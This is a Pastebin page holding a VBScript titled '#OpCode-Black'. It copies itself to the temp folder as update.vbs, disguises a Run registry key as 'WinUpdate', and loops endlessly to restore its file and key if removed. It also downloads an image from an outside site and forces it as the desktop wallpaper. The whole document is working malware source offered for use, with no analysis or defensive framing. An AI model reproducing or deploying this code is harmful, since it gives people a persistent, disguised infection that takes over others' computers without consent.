Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- '#OpCode-Black Created By XXX. 2/17/2012
- on error resume next
- main()
- Set obj1 = createobject("scripting.filesystemobject")
- obj2 = obj1.getspecialfolder(2)
- obj3 = obj2 & "\update.vbs"
- Set obj4 = createobject("wscript.shell")
- obj4.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & obj3 & " %"
- obj1.copyfile wscript.scriptfullname, obj3
- Set obj5= obj1.opentextfile(wscript.scriptfullname)
- obj6 = obj5.readall
- obj5.close
- Do
- if not(obj1.fileexists(wscript.scriptfullname)) then
- set obj7= obj1.createtextfile(wscript.scriptfullname)
- obj7.write obj6
- obj7.close
- end if
- obj8 = obj4.regread("HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate")
- If obj8 <> "wscript.exe " & obj3 & " %" then
- obj4.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WinUpdate", "wscript.exe " & obj3 & " %"
- end if
- obj8= ""
- loop
- function main()
- initial()
- ' Network and local locations for the wallpaper file.
- ' Must be BMP for the screen refresh to work
- Const WALLPAPER_SOURCE = "c:\img.bmp"
- ' Copies and sets the client wallpaper
- Const REG_HKCU = &H80000001
- Dim objShell, objFileSystem, objFile, objRegistry
- Dim strWallpaperDestination, strKeyPath, strCommand
- ' Get the current user profile so we can copy the wallpaper there.
- Set objShell = CreateObject("WScript.Shell")
- strWallpaperDestination = objShell.ExpandEnvironmentStrings("%USERPROFILE%")
- ' Get the wallpaper file from the source
- Set objFileSystem = CreateObject("Scripting.FileSystemObject")
- Set objFile = objFileSystem.GetFile(WALLPAPER_SOURCE)
- ' Update the destination path to include the file name
- strWallpaperDestination = strWallpaperDestination & "\" & objFile.Name
- objFile.Copy strWallpaperDestination, True
- Set objFileSystem = Nothing
- ' Connect to the Registry on the local machine
- Set objRegistry = GetObject("winmgmts:\\.\root\default:StdRegProv")
- ' Set the values for the Wallpaper
- strKeyPath = "Control Panel\Desktop"
- objRegistry.SetStringValue REG_HKCU, strKeyPath, "Wallpaper", _
- strWallpaperDestination
- ' Set the Position to Stretch
- objRegistry.SetStringValue REG_HKCU, strKeyPath, "TileWallpaper", "0"
- objRegistry.SetStringValue REG_HKCU, strKeyPath, "WallpaperStyle", "2"
- Set objRegistry = Nothing
- ' Update the system settings (refresh)
- strCommand = "RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters"
- objShell.Run strCommand, 1, True
- Set objShell = Nothing
- end function
- function initial()
- dim surl,slocal,oxmlhttp,ostream
- surl="http://www.nuovaresistenza.org/wp-content/uploads/2011/01/Immagine2.bmp"
- slocal="j:\img.bmp"
- on error resume next
- set oxmlhttp=createobject("msxml2.xmlhttp")
- if err.number<>0 then
- wscript.quit(1)
- end if
- with oxmlhttp
- .open "get",surl,false
- .send
- end with
- if err.number<>0 then
- set oxmlhttp=nothing : wscript.quit(2)
- end if
- set ostream = createobject("adodb.stream")
- with ostream
- .type=1 'binary
- .mode=3 'read-write
- .open
- .write oxmlhttp.responsebody
- .savetofile slocal,2 'save-create-overwrite
- .close
- end with
- if err.number<>0 then
- else
- end if
- on error goto 0
- set ostream=nothing : set oxmlhttp=nothing
- End function
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement